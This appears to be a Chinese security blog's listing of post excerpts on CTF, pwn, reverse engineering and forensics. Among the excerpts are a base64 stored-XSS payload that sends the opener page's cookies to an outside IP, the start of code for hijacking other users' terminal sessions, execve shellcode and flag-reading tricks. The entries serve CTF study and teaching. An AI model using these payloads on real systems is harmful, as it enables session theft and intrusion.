安全
fjh1997
这个作者很懒,什么都没留下…
展开
-
breed固件逆向
前情概要:https://www.right.com.cn/forum/thread-6189907-1-1.html之前通过010editor对比了两个gpio不同的固件,结果居然成功修改了gpio键。结果楼下马上就来了个神人把修复好符号的ida伪代码给我了。网上一查,这个神人居然是breed开源仿制版本rtboot的作者(https://github.com/zhaohengbo/rt-boot),牛逼。我寻思着如果我有这样的水平。那么除了reset键能改,别的led什么的gpio也能改。于是私信原创 2021-10-18 21:57:58 · 1319 阅读 · 0 评论 -
ctf没有cat等程序等情况下读取flag
tcsh 读10行echo '@ num = 10\nwhile ( $num > 1 )\n set word = "$<"\n echo "$word"\n @ num -= 1\n # rest of code...\nend\n' > /b.sh && source /b.sh < /etc/ctf/flag.txtbashecho $(</etc/ctf/flag.txt)原创 2021-07-25 21:32:26 · 766 阅读 · 0 评论 -
使用objcopy选择性修改删除符号表以及其他相关elf段以及gdb debug file 任意读漏洞以及xctf mamadebug writeup
objcopy --keep-symbol main --strip-all hello.debug hello2.debug #除了main函数的符号表保留外,其余都删除,这样可以大大减少体积。由于一个elf文件里面的调试信息和符号信息占用了很大的空间,而这些信息只是调试的时候才用到,平时运行的时候用不到。所以我们可以把这部分信息单独dump出来作为一个独立的文件。开发者在需要调试的时候可以下载这个文件来恢复elf的调试信息和符号表。objcopy --only-keep-debug foo f原创 2021-05-31 18:27:51 · 1617 阅读 · 0 评论 -
CRC32碰撞攻击上传符合校验的可执行ELF文件
昨天第六届XCTF比赛比完了。队友说做到了个奇怪的题目。要求上传gdb的debug文件,但是debug文件的crc文件需要符合一定的crc校验值。我们知道debug文件也是一种elf文件,elf文件需要满足他的可执行性就不能随便更改,但是恰好crc32本质也只是一种纠错码,对碰撞率的要求很低,我们可以在elf文件的结尾添加一些字符来使得他的crc满足一定的要求就行了。使用如下工具可以轻易办到:https://github.com/theonlypwner/crc32首先查看原elf文件的crc32,原创 2021-05-31 14:45:53 · 478 阅读 · 0 评论 -
如何在ghidra里面使用hex的格式patch程序
如果是使用右键->Patch instruction的话可以用汇编语言来patch程序,但如果想直接修改hex,就需要打开bytes窗口并在bytes窗口里面点击上面的图标启用编辑模式。编辑hex的时候可能会报错:Editing not allowed: Instruction exists at address xxxxxx这个时候就需要右键-clear code bytes清楚code格式之后会变成问好的形状,这个时候就可以在bytes窗口里修改:修改完之后再次disasam原创 2021-02-26 17:59:32 · 613 阅读 · 0 评论 -
解决GitHub的raw.githubusercontent.com无法连接问题
举个例子原来的资源链接是这样的https://github.com/sixstars/starctf2021/blob/main/pwn-babypac/main.c后来的资源链接就可以这样访问https://cdn.jsdelivr.net/gh/sixstars/starctf2021/pwn-babypac/main.c或者https://cdn.jsdelivr.net/gh/sixstars/starctf2021@main/pwn-babypac/main.c参考:https://原创 2021-01-29 19:41:50 · 5505 阅读 · 0 评论 -
linux监控其他登录用户做了什么事,以及劫持其他登录用户会话执行命令。
应该还有更隐蔽的方法,不过目前是这样了。#include <stdio.h>#include <stdlib.h>#include <fcntl.h>#include <sys/stat.h>#include <sys/ioctl.h>#include <string.h>#include <unistd.h>void print_help(char *prog_name) { printf原创 2021-01-29 10:33:10 · 360 阅读 · 0 评论 -
使用基于llvm的clang编译arm pwn题目以及arm pwn使用qemu调试脚本
这里以starctf2021的babypac为例https://github.com/sixstars/starctf2021/blob/main/pwn-babypac/main.csudo apt install qemu-usersudo apt install gcc-aarch64-linux-gnusudo apt install clangwget https://cdn.jsdelivr.net/gh/sixstars/starctf2021@main/pwn-babypac/ma原创 2021-01-28 19:18:40 · 758 阅读 · 1 评论 -
使用ROPgadget快速寻找arm64 pwn的rop链之ret2csu
ROPgadget --binary ./pwn --only "ldp|ret"看到最长的那个就是,我们得到rop链的入口0x400ff8接下来使用x30寄存器跳转的地址就是0x400ff8-0x20也就是0x400fd8这块.rop链第一阶段的目的是将0x400fd8填充到x30寄存器中。也可以用ropROPgadget --binary ./chall --only "ldr|mov|add|blr"找到rop链链接的第二个片段入口最后我们可以在x3中填充我们想要的地址,比如lib.原创 2021-01-28 18:26:54 · 1091 阅读 · 0 评论 -
使用inflate.py 直接解压deflate数据
众所周知,zip文件的压缩原理的本质就是deflate数据,他和zlib格式的唯一不同就是文件的元数据不太一样,当我们遇到deflate数据的时候其实可以直接使用python的这个工具来提取。#!/usr/bin/env python3import sysimport zlibdef inflate(data): """Returns uncompressed data.""" return zlib.decompress(data, -zlib.MAX_WBITS)def原创 2021-01-21 13:21:11 · 1417 阅读 · 0 评论 -
关于ghidra 9.2版本以上无法反编译pac代码pacia等函数的解决方法
arm v8.3版本以上加入了point auth code这种指令比如pacia retaa,很可惜,大多数反编译器无法编译,甚至你在跑qemu的时候如果qemu的版本太低也会报错。之前使用ghidra 9.1.2的时候能够编译成功,但是9.2以上的时候就不行了。事实上我们在ghidra_9.2.1_PUBLIC/Ghidra/Processors/AARCH64/data/languages/AARCH64.pspec里面可以找到这一段代码和注释:<context_data>原创 2021-01-21 11:34:14 · 535 阅读 · 0 评论 -
目标为_blank的存储型xss
amF2YXNjcmlwdDp3aW5kb3cub3BlbmVyLmRvY3VtZW50LmhlYWQuaW5uZXJIVE1MICs9JzxpbWcgc3JjPWh0dHA6Ly9sOTIuMTY4LjQ4LjY6Njc5MD9jb29raWU9JysgZXNjYXBlKHdpbmRvdy5vcGVuZXIuZG9jdW1lbnQuY29va2llKSArICcvPic7原创 2021-01-19 14:32:31 · 169 阅读 · 0 评论 -
CTF python 0 1转化为二维码
from PIL import Imagefrom zlib import *MAX = 36pic = Image.new("RGB",(MAX,MAX))str ="1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111000000011110010000000011000000011111011111111100110000原创 2020-12-23 16:56:36 · 3315 阅读 · 0 评论 -
openssl一键生成密钥与证书
openssl req \ -new \ -newkey rsa:4096 \ -days 365 \ -nodes \ -x509 \ -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" \ -keyout client.key \ -out client.crt原创 2020-12-03 21:53:15 · 597 阅读 · 0 评论 -
记一次openssl同样命令加密结果不同的原因。
比如命令使用aes-256-cbc加密“abc”密码为“password”echo "abc" | openssl enc -aes-256-cbc -a -nosalt -pass pass:password这个命令的加密结果在苹果系统macos 10.15或者ubuntu 16上为rATlXVKWGrrl7NfjRu685A==在Linux ubuntu 18上结果为eytYdlxaT7hPr8JUkHYSZg==原因是不同版本的openssl在加密"abc"的时候将密码"passw原创 2020-12-01 16:50:11 · 1872 阅读 · 0 评论 -
macos python2 pwntools时出现有关unicorn问题的汇总
最近在macos下安装python2版本的pwntools遇到两个问题,一个是安装依赖unicorn的时候遇到error: [Errno 2] No such file or directory: ‘libunicorn.dylib’解决方法是这个:https://github.com/unicorn-engine/unicorn/issues/1170也就是换一个更新一点的unicorn依赖1.02rc1版本,1.0.1版本比较老,导致qemu版本不兼容但是换了1.02rc1又会遇到这个问题T原创 2020-08-24 21:23:09 · 1034 阅读 · 0 评论 -
模仿netcat写的python socket通信程序
netcat有一个特点就是收发分别是不同的线程。使用nc -l 12345和nc localhost 12345进行测试,可以看到实时的收发信息:然而在python中socket在recv()的时候会进行阻塞,如果客户端和服务端都在等待接收会造成死锁,故特此编写了个简单的例子实现python socket编程同时收发。服务端import socketfrom threading import Threadsock = socket.socket()sock.bind(('127.0.0.原创 2020-08-24 19:12:02 · 493 阅读 · 0 评论 -
推荐一个自动破解替换密码的工具
https://gitlab.com/guballa/SubstitutionBreaker使用Jcrypto或者cryptool()进行原创 2020-07-30 22:22:45 · 4473 阅读 · 0 评论 -
如何实时修改网页的javascript代码
最近在做upload-labs需要修改网页的js代码,貌似比较复杂,记录留念一下。首先我们打开开发人员工具做修改,试图在element编辑框内修改代码,把上传的文件改为允许php,然而修改的代码并不会生效,因为chrome已经在内存里加载了这段代码,要重新加载代码只能靠刷新,然而刷新会丢失我们所作的修改,那么应该怎么做呢?其实很简单,首先需要在source-overrides界面里面select folder for overrides,然后选择一个文件夹。我随便选了一个文件夹,就有权限访问的原创 2020-07-26 08:19:08 · 30846 阅读 · 6 评论 -
在burpsuite里面使用http协议form请求的raw格式
今天试图请求一个raw格式的数据,发现postman给的格式并不正确:POST /upload/1.php HTTP/1.1Host: 52.82.121.166:28437Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW----WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="a"sys原创 2020-07-25 22:24:05 · 807 阅读 · 0 评论 -
linux删除包含指定内容的文件
grep -lrIZ 273B246D7975726C3D27. | xargs -0 rm -f --#删除当前目录以及递归目录下内容中有273B246D7975726C3D27的文件find ./ -name *bak*|xargs rm -rf#删除当前目录以及递归目录下名字中含有bak的文件grep -lrIZ wp-config.bak.php. |xargs -0 dirname| xargs rm -rf#删除文件名为wp-config.bak.php的文件的所在目录。...原创 2020-07-19 20:20:34 · 2752 阅读 · 0 评论 -
在安卓上使用wireshark抓包
需要用到一个软件,叫做pcap remote。选择开始抓包后,在另一个电脑上使用ssh连接,输入命令:ssh [email protected] -p 15432 'pcapremote' > test.pcap可以得到pcap数据包,之后使用wireshark打开分析即可。...原创 2020-06-19 22:34:29 · 3285 阅读 · 1 评论 -
Android10导入系统证书的方法。
由于安卓10采用了某些安全策略,将系统分区/system挂载为只读,就算你root了也没用,无法写入系统分区也就无法导入系统证书,在使用http-canary这样的软件抓包分析的时候,很多app只认系统证书,不认用户证书。唯一的方法是魔改安卓10的rom,或者使用magisk的一些模块,这里介绍的模块是magisk的Move Certificates模块。安装完模块之后,用户分区的所有证书默认会导入到系统分区。...原创 2020-06-15 09:10:02 · 24029 阅读 · 8 评论 -
使用proxifier+burpsuite进行代理的过程中遇到的一些坑。
最近网易uu加速器送守望先锋,遇到了一堆阴兵(大雾)。所谓阴兵就是使用一些秒杀工具运行后台脚本。虽然我不是阴兵,但有点好奇阴兵们是怎么找接口的。就拿uu加速器做了实验。首先打开burpsuite,安装证书什么的没话说,开放了本地的8080作为监听端口。然后proxifier设置规则进行代理。然后我满怀期待的进行抓包,结果遇到问题了。提示失败,然后我检查了一下proxifier,发现包发不出去。再检查下wireshark,发现burp收到proxyfier给他的封装成http发往8674的原创 2020-06-05 09:56:17 · 11328 阅读 · 0 评论 -
将python程序等的输入输出重定向至某个端口
需要安装ncat,比如重定向到8888端口ncat -l 8888 -e "python demo.py"如果要给多个用户多个连接提供服务,每个用户连上之后提供一个fork的进程的话。加上–keep-open参数即可。ncat -l 8888 -e "python demo.py" --keep-open...原创 2020-05-29 14:19:05 · 679 阅读 · 0 评论 -
改进的CTF竞赛中区块链题发邮件脚本,主要解决重复发邮件问题。
# -*- coding:UTF-8 -*-from web3 import Web3,HTTPProviderimport osimport timeimport binasciiimport base64import smtplibfrom email.mime.text import MIMETextfrom email.header import Headercontr...原创 2020-05-07 22:56:26 · 1435 阅读 · 0 评论 -
x86_64平台下的ubuntu调试Mips并连接pwntools与gdb
sudo apt updatesudo apt install qemu-user libc6-mipsel-cross qemu-user-binfmt gdb-multiarchsudo mkdir /etc/qemu-binfmtsudo ln -s /usr/mipsel-linux-gnu /etc/qemu-binfmt/mipsel检查路径是否正确>>>...原创 2020-05-06 20:10:16 · 1533 阅读 · 0 评论 -
记一次奇怪的truecrypt解密,隐藏分区的MasterKey
地址题目地址: https://buuoj.cn/challenges#[V&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B]%E5%86%85%E5%AD%98%E5%8F%96%E8%AF%81参考了夏风大佬的博客: https://blog.xiafeng2333.top/ctf-25/说明在这道题里面,最终的一个VOL加密文件,可以通过passphr...原创 2020-05-06 13:35:21 · 2861 阅读 · 0 评论 -
BUUCTF 登陆验证失败 "Please check the reCaptcha box to verify you are human"错误的解决方法
针对Windows系统,修改host在C:\Windows\System32\drivers\etc文件中。针对linux和mac,在/etc/host文件里面。添加如下两行:203.208.40.119 recaptcha.net203.208.41.88 www.gstatic.cn重启浏览器即可。...原创 2020-05-06 10:15:36 · 12484 阅读 · 0 评论 -
记一次CTF的USB流量分析
最近在研究鼠标流量,找到如下的文章:https://www.cnblogs.com/hackxf/p/10670844.html根据这个师傅的说法,不同的鼠标抓到的流量不一样,一般的鼠标流量是四个字节,第一个字节表示按键指示左键右键,第二个字节表示水平位移,为正(小于127)是向右移动,为负(补码负数,大于127小于255)是向左移动。第三个字节表示垂直位移,为正(小于127)是向上移动,为负...原创 2020-04-29 16:20:02 · 7040 阅读 · 2 评论 -
CTF jpg thumbnail隐写
需要安装exiftool,将flag.jpg 隐藏到challenge.jpg的tag.jpg 隐藏到challenge.jpg的thumbnail中exiftool -b -ThumbnailImage flag.jpg > thumbnail.jpgexiftool "-ThumbnailImage<=thumbnail.jpg" challenge.jpg...原创 2020-04-28 11:46:24 · 1359 阅读 · 0 评论 -
Linux记录历史进程的CPU占用量
sudo bash #切换到root用户sudo apt-get install sysstat #安装sysstatpidstat -u 600 >/var/log/pidstats.log & disown $! # 后台运行并通过disown使其脱离ssh session控制原创 2020-04-27 21:45:26 · 5410 阅读 · 0 评论 -
png IDHR修改高度宽度枚举脚本以及提取zlib脚本
#python3import binasciifrom Crypto.Util import numberp = open('perceptron2.png','rb').read() #修改IDHR宽度导致图片模糊的文件# print(p[0x14:0x17]+chr(0xaf).encode()[-1:])count = 0height=160 #这里设置高度为160像素,越大越好...原创 2020-04-27 12:51:34 · 1221 阅读 · 1 评论 -
解决64位栈溢出ret2lib时的 do_system movaps xmmword ptr [rsp + 0x40], xmm0 crash的问题
Thread 2.1 "protect" received signal SIGSEGV, Segmentation fault.0x00007f6f2b2942f6 in do_system (line=0x7f6f2b3f8e9a "/bin/sh") at ../sysdeps/posix/system.c:125125 in ../sysdeps/posix/system.cLEG...原创 2020-04-25 19:44:26 · 2777 阅读 · 3 评论 -
abrt-hook-ccpp占用cpu过大,使用systemctl进行关闭
使用 systemctl list-unit-files |grep abrt列出abrt相关服务模块统一进行关闭并禁用。同时修改/proc/sys/kernel/core_pattern的内容为core原创 2020-04-21 22:00:31 · 7802 阅读 · 0 评论 -
解决 httpd2.service failed to run 'start' task: Permission denied
把/usr/lib/systemd/system/httpd.service中的PrivateTmp=true删除即可原创 2020-04-21 20:54:00 · 1542 阅读 · 0 评论 -
linux我知道的最短shellcode
长度19xor eax, eaxpush eaxpush 0x68732f2fpush 0x6e69622fxchg ebx, espmov al, 0xbint 0x80来源:https://www.exploit-db.com/exploits/40131原创 2020-04-16 11:50:52 · 1306 阅读 · 2 评论 -
解决win10 WSL下cannot execute binary file: Exec format error
主要原因是不支持32位程序,可以用如下方法启用:WSL默认使用64bit的程序,不支持32位的程序,但我们仍然可以使用QEMU来虚拟化内核。安装QEMUsudo apt updatesudo apt install qemu-user-staticsudo update-binfmts --install i386 /usr/bin/qemu-i386-static --magic '\...原创 2020-04-15 15:53:52 · 5309 阅读 · 1 评论 -
如何做到一边使用pwntools一边使用gdb下断点到main函数前
在回答这个问题的时候,我相信绝大多数师傅调试都是按照下面这个格式:from pwn import *payload=b'aaaaaa'sh=process("./pwn")gdb.attach(sh,"break main")sh.sendline(payload)但是很遗憾,这样调试有一个缺点,那就是gdb在attach到程序之后,你要调试的断点可能已经早就过去了,来不及下断点,这...原创 2020-04-10 15:44:55 · 6522 阅读 · 2 评论 -
解决一种pwn本地打不通远程打得通的问题
最近就遇到了这样的怪题目,本地劫持指针到execve()的int 80系统调用的时候,本地会卡住,远程却可以,我的建立的shellcode是这样的: push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp xor ecx, ecx push 0x8 pop eax inc eax ...原创 2020-04-06 17:21:05 · 1690 阅读 · 0 评论